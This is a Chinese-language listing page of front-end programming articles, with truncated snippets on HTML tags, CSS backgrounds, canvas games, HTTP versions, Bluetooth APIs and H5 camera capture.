    什么是a標簽? <a> 標簽定義超鏈接,用于從一個頁面鏈接到另一個頁面。 <a> 元素最重要的屬性是 href 屬性,它指定鏈接的目標。 a標簽的語法格式:<a href=https://www.cnblogs.com/summerxbc/p/"指定要跳轉的目標界面的鏈接">需要展示給用戶看見的內容</a> a標簽 在所有瀏覽器中,鏈接的默認外觀如下: 未被訪問的鏈接帶 ......

    uj5u.com 2020-09-10 04:40:11 more
  • 前端輪播圖

    在需要輪播的頁面是引入swiper.min.js和swiper.min.css swiper.min.js地址: 鏈接:https://pan.baidu.com/s/15Uh516YHa4CV3X-RyjEIWw 提取碼:4aks swiper.min.css地址 鏈接:https://pan.b ......

    uj5u.com 2020-09-10 04:40:13 more
  • 如何設定html中的背景圖片(全屏顯示,且不拉伸)

    1 <style>2 body{background-image:url(https://uploadbeta.com/api/pictures/random/?key=BingEverydayWallpaperPicture); 3 background-size:cover;background ......

    uj5u.com 2020-09-10 04:40:16 more
  • Java學習——HTML詳解(上)

    HTML詳解 初識HTML Hyper Text Markup Language(超文本標記語言) 1 <!--DOCTYPE:告訴瀏覽器我們要使用什么規范--> 2 <!DOCTYPE html> 3 <html lang="en"> 4 <head> 5 <!--meta 描述性的標簽,描述一些 ......

    uj5u.com 2020-09-10 04:40:33 more
最新发布
  • 我的第一個NPM包:panghu-planebattle-esm(胖虎飛機大戰)使用說明

    好家伙,我的包終于開發完啦 歡迎使用胖虎的飛機大戰包!! 為你的主頁添加色彩 這是一個有趣的網頁小游戲包,使用canvas和js開發 使用ES6模塊化開發 效果圖如下: (覺得圖片太sb的可以自己改) 代碼已開源!! Git: https://gitee.com/tang-and-han-dynas ......

    uj5u.com 2023-04-20 07:59:23 more
  • 生產事故-走近科學之消失的JWT

    入職多年,面對生產環境,盡管都是小心翼翼,慎之又慎,還是難免捅出簍子。輕則滿頭大汗,面紅耳赤。重則系統停擺,損失資金。每一個生產事故的背后,都是寶貴的經驗和教訓,都是專案成員的血淚史。為了更好地防范和遏制今后的各類事故,特開此專題,長期更新和記錄大大小小的各類事故。有些是親身經歷,有些是經人耳傳口授 ......

    uj5u.com 2023-04-18 07:55:04 more
  • 記錄--Canvas實作打飛字游戲

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 打開游戲界面,看到一個畫面簡潔、卻又富有挑戰性的游戲。螢屏上,有一個白色的矩形框,里面不斷下落著各種單詞,而我需要迅速地輸入這些單詞。如果我輸入的單詞與螢屏上的單詞匹配,那么我就可以獲得得分;如果我輸入的單詞錯誤或者時間過長,那么我就會輸 ......

    uj5u.com 2023-04-04 08:35:30 more
  • 了解 HTTP 看這一篇就夠

    在學習網路之前,了解它的歷史能夠幫助我們明白為何它會發展為如今這個樣子,引發探究網路的興趣。下面的這張圖片就展示了“互聯網”誕生至今的發展歷程。 ......

    uj5u.com 2023-03-16 11:00:15 more
  • 藍牙-低功耗中心設備

    //11.開啟藍牙配接器 openBluetoothAdapter //21.開始搜索藍牙設備 startBluetoothDevicesDiscovery //31.開啟監聽搜索藍牙設備 onBluetoothDeviceFound //30.停止監聽搜索藍牙設備 offBluetoothDevi ......

    uj5u.com 2023-03-15 09:06:45 more
  • canvas畫板(滑鼠和觸摸)

    <!DOCTYPE html> <html> <head> <meta charset="utf-8"> <title>canves</title> <style> #canvas { cursor:url(../images/pen.png),crosshair; } #canvasdiv{ bo ......

    uj5u.com 2023-02-15 08:56:31 more
  • 手機端H5 實作自定義拍照界面

    手機端 H5 實作自定義拍照界面也可以使用 MediaDevices API 和 <video> 標簽來實作,和在桌面端做法基本一致。 首先,使用 MediaDevices.getUserMedia() 方法獲取攝像頭媒體流,并將其傳遞給 <video> 標簽進行渲染。 接著,使用 HTML 的 < ......

    uj5u.com 2023-01-12 07:58:22 more
  • 記錄--短視頻滑動播放在 H5 下的實作

    這里給大家分享我在網上總結出來的一些知識,希望對大家有所幫助 短視頻已經無數不在了,但是主體還是使用 app 來承載的。本文講述 H5 如何實作 app 的視頻滑動體驗。 無聲勝有聲,一圖頂百辯,且看下圖: 網址鏈接(需在微信或者手Q中瀏覽) 從上圖可以看到,我們主要實作的功能也是本文要講解的有: ......

    uj5u.com 2023-01-04 07:29:05 more
  • 一文讀懂 HTTP/1 HTTP/2 HTTP/3

    從 1989 年萬維網(www)誕生,HTTP(HyperText Transfer Protocol)經歷了眾多版本迭代,WebSocket 也在期間萌芽。1991 年 HTTP0.9 被發明。1996 年出現了 HTTP1.0。2015 年 HTTP2 正式發布。2020 年 HTTP3 或能正... ......

    uj5u.com 2022-12-24 06:56:02 more
  • 【HTML基礎篇002】HTML之form表單超詳解

    ??一、form表單是什么

    ??二、form表單的屬性

    ??三、input中的各種Type屬性值

    ??四、標簽 ......

    uj5u.com 2022-12-18 07:17:06 more